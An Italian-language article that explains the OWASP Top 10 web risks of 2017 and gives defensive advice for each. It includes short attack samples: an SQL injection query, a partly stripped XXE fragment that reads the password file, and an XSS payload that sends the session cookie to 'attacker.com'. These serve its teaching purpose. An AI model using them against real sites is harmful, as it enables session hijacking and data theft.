Top 10 attacchi web comuni: I primi passi per proteggere il tuo sito web

Una statistica comune spesso condivisa dai professionisti dell’InfoSec è “il 78% degli attacchi sono contro l’applicazione”.

Non passa una settimana senza sentire parlare di un’altra enorme violazione o vulnerabilità che colpisce milioni di utenti in tutti i settori. Che questo numero sia accurato o se in realtà è solo il 74% (o più probabilmente più vicino all’85%), una cosa è chiara: i nostri siti web sono a rischio, e se il vostro non è ancora stato attaccato è solo una questione di tempo e denaro (e motivazione dell’attaccante).

Un aspetto interessante che molti di questi attacchi hanno in comune è che non sono altamente tecnici e raggiungibili solo da squadre avanzate di hacker seduti nei sotterranei della NSA. La fonte più comune di questi attacchi è un gruppo noto come “script kiddies”, giovani non addestrati che semplicemente scaricano toolkit automatici da internet e tentano di craccare qualsiasi sito casuale che offre vulnerabilità facilmente sfruttabili. Anche i criminali informatici più abili iniziano i loro primi tentativi utilizzando gli stessi toolkit (o versioni leggermente più avanzate di essi).

Perché dovrebbe importarci? Perché questo significa che gli attacchi più comuni, e le vulnerabilità più comunemente sfruttate, saranno sempre la prima e più debole catena della nostra difesa.

Di conseguenza, questo deve essere anche il punto in cui concentriamo i nostri sforzi iniziali per rinforzare questa difesa. Fortunatamente, è anche il punto più facile da testare e garantire almeno un livello minimo di sicurezza.

Queste vulnerabilità comuni sono state raccolte in una lista “Top Ten” dagli amichevoli volontari di OWASP – l’Open Web Application Security Project, un’organizzazione di beneficenza mondiale senza scopo di lucro focalizzata sul miglioramento della sicurezza del software.

Mentre questa lista Top Ten non è realmente una “lista di controllo della sicurezza”, è spesso la prima serie di vulnerabilità che gli attaccanti tenteranno. Allo stesso modo, ci sono una pletora di strumenti automatici che scansionano il vostro sito web al servizio degli aggressori, permettendo loro di scoprire rapidamente le falle critiche che garantiranno loro l’accesso ai vostri oggetti di valore.

Ecco i Top 10 Application Security Risks di OWASP, edizione 2017:

1. Injection

Un aggressore può essere in grado di manipolare la vostra applicazione web per alterare i comandi inviati ai suoi sottosistemi, semplicemente inviando richieste malformate con payloads contaminati. Il più noto di questi attacchi è l’SQL Injection, in cui un utente del vostro sito web può indurre la vostra applicazione a cambiare questo:

select * from users where username=’AviD’ and password=’1234′
in questo:
select * from users where username=’Admin’

Questo permette all’attaccante di accedere alla vostra applicazione come amministratore, senza nemmeno conoscere la password. Altri usi di questo attacco sarebbero rubare segreti (o denaro), cambiare dati, o anche cancellare tutte le tracce di attività.

Altre forme includono LDAP Injection, XPath Injection, Command Injection, SMTP Injection – ogni volta che l’applicazione concatena input utente non fidati in un comando che viene passato ad un interprete. I dati anormali possono indurre l’interprete ad eseguire comandi non voluti o ad accedere a dati senza la dovuta autorizzazione.

Questi attacchi possono di solito essere prevenuti piuttosto facilmente seguendo alcuni principi:

• Validate tutti gli input non attendibili con un approccio white-list, indipendentemente dalla fonte.
• Accedete sempre al database solo con query parametrizzate e stored procedure, invece di concatenare una query stringa.
• Ancora meglio, usate una corretta libreria ORM (Object Relational Mapping) (come Hibernate, Entity Framework, ActiveRecord per nominarne alcune, a seconda della vostra piattaforma).
• Limitate il danno potenziale di un exploit di successo riducendo i privilegi del database dell’applicazione.

2. Autenticazione errata Autenticazione interrotta

La maggior parte delle applicazioni richiedono ai loro utenti di effettuare il login prima di utilizzarle, spesso con una combinazione di nome utente e password. Ci sono molti tipi di difetti comuni con questo sistema di autenticazione, che possono essere sfruttati in una varietà di modi: attacchi a dizionario, forza bruta automatizzata, credential stuffing, session hijacking, e altro ancora.

Un attaccante che riesce a indovinare una password valida sarebbe in grado di impersonare quell’utente ed eseguire qualsiasi azione che la sua vittima sarebbe in grado di fare – senza essere in grado di distinguere l’attaccante dalla vittima.

Prevenire questo richiede un approccio multi-layer:

• Cambiare tutte le password di default.
• Imporre password forti e casuali per tutti gli utenti: almeno 12 caratteri casuali, senza vincoli, preferibilmente memorizzati in un gestore di password; o in alternativa, una passphrase con almeno 5 parole casuali.
• Limitare i tentativi di login, bloccando l’account utente per un periodo di tempo dopo un certo numero di password errate.
• Utilizzare un gestore di sessioni di piattaforma sicuro, che genera casualmente lunghi identificatori di sessione e implementa un ciclo di vita della sessione sicuro.
• Proteggi le password con un algoritmo crittografico “password hash”, come Bcrypt, scrypt, o Argon2.

Inoltre, considera l’implementazione dell’autenticazione a più fattori per mitigare gli attacchi basati su password, e non permettere a un attaccante di bypassare la tua password conoscendo il nome del tuo gatto nella pagina “Password dimenticata”. Ci sono alcuni dettagli aggiuntivi che possono essere rilevanti, a seconda dell’architettura e del contesto specifici.

3. Esposizione di dati sensibili

I dati segreti di solito devono essere protetti con la crittografia e altri algoritmi crittografici. Tuttavia, questo è troppo spesso implementato, se non del tutto, in modo incompleto, permettendo agli aggressori di prendere informazioni sensibili che non dovrebbero essere in grado di ottenere, tra cui password, carte di credito, informazioni personali (PII), e altri dati aziendali critici.

Alcuni difetti comuni includono la mancata crittografia dei dati; la creazione di uno schema di crittografia personalizzato invece di algoritmi e protocolli standard; l’utilizzo di chiavi deboli; l’esposizione di chiavi di crittografia; e la non implementazione corretta dei protocolli, ad es.Ad esempio, non convalidando un certificato TLS.

L’utilizzo di controlli crittografici adeguati (come la crittografia AES per i dati memorizzati e TLS con HSTS abilitato per il traffico), con i parametri corretti, dovrebbe proteggere ampiamente i vostri dati sensibili sia a riposo che in transito.

4. Entità esterne XML (XXE)

Spesso le applicazioni devono ricevere ed elaborare documenti XML dagli utenti. I parser XML vecchi o mal configurati possono abilitare una caratteristica XML conosciuta come riferimenti a entità esterne all’interno dei documenti XML, che quando vengono valutati incorporano il contenuto di un altro file. Gli attaccanti possono abusare di questo per leggere dati riservati, accedere a sistemi interni e persino spegnere l’applicazione in un attacco Denial of Service (DoS).

Per esempio, un documento XML contenente questo:

]>&xxe;

includerebbe il contenuto del file password all’interno del documento XML.

Questo può essere prevenuto semplicemente disabilitando la DTD e la valutazione delle entità esterne nel parser, o passando ad una moderna libreria di parser che non sia vulnerabile.

5. Controllo dell’accesso interrotto

La maggior parte delle applicazioni web limita ciò che gli utenti possono vedere o fare, sia che si tratti di accedere ai dati personali di un altro utente o a un’area riservata.

Tuttavia, i meccanismi di controllo dell’accesso che applicano questi limiti sono di solito implementazioni su misura e spesso profondamente difettose. Gli aggressori possono aggirare questi controlli o abusarne per accedere a funzionalità o dati non autorizzati, come accedere agli account di altri utenti, visualizzare file sensibili, modificare i dati di altri utenti, eseguire azioni amministrative e altro ancora.

La correzione e la prevenzione delle falle nel controllo di accesso richiede una visione sistemica. È necessaria una revisione completa e approfondita di tutte le caratteristiche dell’applicazione, i requisiti di sistema, i ruoli degli utenti e altri vincoli. Ci sono vari modelli comuni che possono essere applicati, a seconda dei requisiti. I più comuni includono il controllo d’accesso basato sui ruoli (RBAC), il controllo d’accesso discrezionale (DAC) e il controllo d’accesso basato sull’integrità o obbligatorio (MAC).

Altri modelli più di nicchia possono essere basati sugli attributi (ABAC), sulla politica (PBAC), sul contesto (CBAC) e sulla classificazione (esistono diversi modelli, specialmente nel DoD), oltre a vari altri schemi personalizzati. È importante progettare bene il modello di controllo degli accessi, in modo che possa essere applicato uniformemente e amministrato in modo efficiente. Partire dal principio del Least Privilege, e autorizzare solo dove necessario.

Inoltre, molti sistemi devono considerare l’applicazione di controlli sull’accesso ai dati personali degli utenti dal punto di vista della privacy. Sta diventando ancora più importante preservare adeguatamente la privacy degli utenti e impedire l’accesso senza consenso, soprattutto alla luce dell’aggiornamento del GDPR dell’UE.

6. Configurazione errata della sicurezza

I server e le applicazioni hanno molte parti mobili che devono essere configurate correttamente. Questo si applica a tutti i livelli dello stack dell’applicazione, dal sistema operativo e i dispositivi di rete fino al server web e l’applicazione stessa.

Configurazioni predefinite, incomplete o ad hoc possono lasciare i file non protetti, le password di default abilitate, i servizi cloud aperti e la perdita di informazioni sensibili attraverso messaggi di errore o intestazioni HTTP, così come numerose altre impostazioni insicure che potrebbero consentire a un utente malintenzionato di accedere al sistema o ai dati.

Ovviamente, non esiste una singola impostazione che possa prevenire questa vulnerabilità. Tutte le impostazioni potenzialmente vulnerabili dovrebbero essere riviste. Notate che questo include anche aggiornamenti di sistema tempestivi e patch!

7. Cross-Site Scripting (XSS)

Utilizzando l’XSS, un aggressore può modificare le pagine web che gli altri utenti vedono nella vostra applicazione, sia per rubare informazioni come password e carte di credito, diffondere dati fasulli, dirottare sessioni utente, reindirizzare a un altro sito, o eseguire script dannosi nel browser della vittima.

Questa vulnerabilità può verificarsi ogni volta che dati non attendibili sono inclusi in una pagina web o in una risposta, senza un’adeguata validazione o sanitizzazione. L’attaccante può inviare moduli con frammenti HTML o JavaScript, che saranno incorporati direttamente nella pagina e resi dal browser.

Per esempio, questo codice server:

response.write(“Good morning, ” + request.getParameter(“Name”));

integra il parametro Name dell’utente direttamente nell’output. Questo dovrebbe restituire la seguente pagina, se il nome dell’utente è “John”:

Buongiorno, John

Invece, un attaccante può iniettare un payload dannoso:

Buongiorno, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

che sarà eseguito dal browser dell’utente, inviando il suo cookie di sessione all’attaccante e permettendo all’attaccante di dirottare la sessione.

La principale protezione contro gli attacchi XSS è l’uso della codifica corretta. Per esempio, la codifica HTML trasformerà tutti i caratteri “speciali” in entità HTML, in modo che siano visualizzati lo stesso dall’utente ma non siano riconosciuti dal parser come tag HTML validi. Tuttavia, ci sono altre forme di codifica che dovrebbero essere utilizzate a seconda del contesto specifico dell’output dei dati – ad esempio la codifica degli attributi, la codifica JavaScript, la codifica CSS, e così via. La maggior parte delle moderne piattaforme web forniscono questa funzionalità automaticamente o come chiamata di funzione, e ci sono molte librerie di sicurezza per quelle che non lo fanno.

Inoltre, è una buona idea implementare la Content Security Policy (CSP), per evitare che il browser visualizzi un attacco XSS che è passato. Inoltre, configurate i vostri cookie di sessione (sia nel codice dell’applicazione che nella configurazione del server web) per includere l’attributo HttpOnly, per evitare che gli exploit XSS abbiano successo nel dirottare le sessioni dei vostri utenti.

8. Deserializzazione insicura

L’aggiunta più recente a questa lista, la deserializzazione insicura può consentire attacchi di iniezione ed escalation di privilegi, e persino portare all’esecuzione di codice da remoto e al rilevamento del server in certe situazioni.

Molte applicazioni hanno bisogno di serializzare oggetti e dati in un formato che può essere facilmente trasmesso attraverso il filo, o anche persistito in un file. Quando un’applicazione ripristina questi oggetti in memoria deserializzando i dati formattati ricevuti da un utente, potrebbe essere possibile manomettere la memoria dell’oggetto e persino fargli eseguire funzioni arbitrarie.

Il modo migliore per evitare la deserializzazione insicura è di non deserializzare mai oggetti da dati non fidati! È molto meglio evitare del tutto i formati di deserializzazione nativi dove possibile, preferendo invece un formato di dati come XML o JSON.

Se è necessario deserializzare dal formato nativo, essere in grado di farlo in modo sicuro richiede la comprensione degli interni del vostro linguaggio di programmazione. Ci sono vari passi necessari per farlo in modo sicuro, a seconda del linguaggio in cui è stata sviluppata la vostra applicazione. Per esempio, in Java potete sottoclasse la classe java.io.ObjectInputStream. Inoltre, si raccomanda di deserializzare solo i dati che la vostra applicazione ha firmato digitalmente.

9. Usare componenti con vulnerabilità note

Il software moderno non è più costruito come un monolite – si basa sempre su un numero sempre maggiore di componenti di terze parti, framework e librerie open source. Qualsiasi vulnerabilità nota trovata in queste dipendenze può influenzare direttamente anche la vostra applicazione! A volte questo porterà ad altre vulnerabilità su questa lista, come l’iniezione, l’esecuzione di codice remoto, o qualsiasi altro difetto che potrebbe consentire agli aggressori di accedere a dati sensibili o azioni.

Recentemente, proprio un problema del genere è stato accusato della massiccia violazione di Equifax, dove non hanno installato una patch per Apache Struts2. Invece, sono rimasti su una versione che era nota per consentire agli attaccanti remoti di eseguire comandi arbitrari.

Il modo migliore per evitare di cadere in questa trappola è quello di rivedere tutte le vostre dipendenze (comprese le dipendenze transitive), e controllare se qualcuna di esse è attualmente vulnerabile. Implementate un processo per assicurare che la vostra applicazione estragga sempre le ultime versioni stabili di tutte le librerie e componenti dipendenti dopo averle testate. Infatti, ci sono attualmente numerosi strumenti commerciali che possono tracciare questo per il vostro team, così come il Dependency-Check gratuito di OWASP.

10. Registrazione insufficiente & Monitoraggio

Mentre cerchiamo di rendere i nostri sistemi immuni da tutti i possibili attacchi, realisticamente dobbiamo accettare che alcuni attacchi passeranno attraverso le nostre difese. Tuttavia, una difesa resiliente dovrebbe includere diversi livelli. Questo include la possibilità di rilevare quegli attacchi che hanno avuto successo nonostante tutti i nostri sforzi, preferibilmente il più presto possibile.

Questo potrebbe ancora permettere ad un’organizzazione di riprendersi dall’attacco, o addirittura minimizzare i danni il più possibile. Un meccanismo di registrazione e monitoraggio, combinato con un’efficace risposta agli incidenti, può impedire agli aggressori di fare perno su ulteriori risorse interne, incorporandosi in modo permanente nell’organizzazione, e impedire loro di rubare o alterare ancora più dati.

Implementare un meccanismo di registrazione comune per l’intera applicazione. È meglio usare una libreria esistente, come log4J, ma non è obbligatorio. Il meccanismo di log dovrebbe raccogliere tutte le azioni avviate dall’utente, gli errori di runtime e qualsiasi altro evento sensibile. Assicuratevi che i dati di log siano ben protetti, e non dimenticate di fornire agli amministratori un’interfaccia di ricerca e revisione!

La buona notizia è che la maggior parte di questi sono problemi relativamente semplici, e facili da prevenire se si sa cosa cercare. Pertanto, anche se questa non è una lista completa di tutti i problemi di sicurezza a cui dovreste prestare attenzione, è sicuramente uno dei posti migliori per iniziare la vostra spedizione verso un sito web protetto!